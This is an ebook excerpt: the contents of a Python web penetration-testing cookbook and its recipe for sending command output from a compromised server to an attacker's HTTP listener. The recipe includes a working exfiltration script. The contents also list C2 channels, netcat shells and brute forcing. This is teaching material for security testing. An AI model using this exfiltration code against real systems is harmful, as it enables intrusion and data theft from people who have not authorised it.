Table of Contents for
Python Web Penetration Testing Cookbook

Version ebook / Retour

Cover image for bash Cookbook, 2nd Edition Python Web Penetration Testing Cookbook by Dave Mound Published by Packt Publishing, 2015
  1. Cover
  2. Table of Contents
  3. Python Web Penetration Testing Cookbook
  4. Python Web Penetration Testing Cookbook
  5. Credits
  6. About the Authors
  7. About the Reviewers
  8. www.PacktPub.com
  9. Disclamer
  10. Preface
  11. What you need for this book
  12. Who this book is for
  13. Sections
  14. Conventions
  15. Reader feedback
  16. Customer support
  17. 1. Gathering Open Source Intelligence
  18. Gathering information using the Shodan API
  19. Scripting a Google+ API search
  20. Downloading profile pictures using the Google+ API
  21. Harvesting additional results from the Google+ API using pagination
  22. Getting screenshots of websites with QtWebKit
  23. Screenshots based on a port list
  24. Spidering websites
  25. 2. Enumeration
  26. Performing a ping sweep with Scapy
  27. Scanning with Scapy
  28. Checking username validity
  29. Brute forcing usernames
  30. Enumerating files
  31. Brute forcing passwords
  32. Generating e-mail addresses from names
  33. Finding e-mail addresses from web pages
  34. Finding comments in source code
  35. 3. Vulnerability Identification
  36. Automated URL-based Directory Traversal
  37. Automated URL-based Cross-site scripting
  38. Automated parameter-based Cross-site scripting
  39. Automated fuzzing
  40. jQuery checking
  41. Header-based Cross-site scripting
  42. Shellshock checking
  43. 4. SQL Injection
  44. Checking jitter
  45. Identifying URL-based SQLi
  46. Exploiting Boolean SQLi
  47. Exploiting Blind SQL Injection
  48. Encoding payloads
  49. 5. Web Header Manipulation
  50. Testing HTTP methods
  51. Fingerprinting servers through HTTP headers
  52. Testing for insecure headers
  53. Brute forcing login through the Authorization header
  54. Testing for clickjacking vulnerabilities
  55. Identifying alternative sites by spoofing user agents
  56. Testing for insecure cookie flags
  57. Session fixation through a cookie injection
  58. 6. Image Analysis and Manipulation
  59. Hiding a message using LSB steganography
  60. Extracting messages hidden in LSB
  61. Hiding text in images
  62. Extracting text from images
  63. Enabling command and control using steganography
  64. 7. Encryption and Encoding
  65. Generating an MD5 hash
  66. Generating an SHA 1/128/256 hash
  67. Implementing SHA and MD5 hashes together
  68. Implementing SHA in a real-world scenario
  69. Generating a Bcrypt hash
  70. Cracking an MD5 hash
  71. Encoding with Base64
  72. Encoding with ROT13
  73. Cracking a substitution cipher
  74. Cracking the Atbash cipher
  75. Attacking one-time pad reuse
  76. Predicting a linear congruential generator
  77. Identifying hashes
  78. 8. Payloads and Shells
  79. Extracting data through HTTP requests
  80. Creating an HTTP C2
  81. Creating an FTP C2
  82. Creating an Twitter C2
  83. Creating a simple Netcat shell
  84. 9. Reporting
  85. Converting Nmap XML to CSV
  86. Extracting links from a URL to Maltego
  87. Extracting e-mails to Maltego
  88. Parsing Sslscan into CSV
  89. Generating graphs using plot.ly
  90. Index

Extracting data through HTTP requests

The first script we'll being creating will use a very simple technique to extract data from the target server. There are three basic steps: run the commands on the target, transfer the output through HTTP requests to the attacker, and view the results.

Getting Ready

This recipe requires a web server that is accessible on the attacker's side in order to receive the HTTP request from the target. Luckily, Python has a really simple way to start a web server:

$ Python –m SimpleHTTPServer

This will start a HTTP web server on port 8000, serving up any files in the current directory. Any requests it receives are printed out directly to the console, making this a really quick way to grab the data and are therefore a nice addition to this script.

How to do it…

This is the script that will run various commands on the server and transfer the output through a web request:

import requests
import urllib
import subprocess
from subprocess import PIPE, STDOUT

commands = ['whoami','hostname','uname']
out = {}

for command in commands:
    try:
            p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
            out[command] = p.stdout.read().strip()
    except:
        pass

requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))

How it works…

After the imports, the first part of the script creates an array of commands:

commands = ['whoami','hostname','uname']

This is an example of three standard Linux commands that could give useful information back to the attacker. Note that there's an assumption here that the target server is running Linux. Use scripts from the previous chapters for reconnaissance, in order to determine the target's operating system and replace the commands in this array with Windows equivalents, if necessary.

Next, we have the main for loop:

            p = subprocess.Popen(command, stderr=STDOUT, stdout=PIPE)
            out[command] = p.stdout.read().strip()

This part of code executes the command and grabs the output from subprocess (piping both standard out and standard error into a single subprocess.PIPE). It then adds the result to the out dictionary. Notice that we use a try and except statement here, as any command that fails to run will cause an exception.

Finally, we have a single HTTP request:

requests.get('http://localhost:8000/index.html?' + urllib.urlencode(out))

This uses urllib.encode to transform the dictionary into URL encoded key/value pairs. This means that any characters that could affect the URL, for example, & or =, will be converted to their URL encoded equivalent, for example, %26 and %3D.

Note that there will be no output on the script side; everything is passed over in the HTTP request to the attacker's web server (the example uses localhost on port 8000). The GET request looks like the following:

How it works…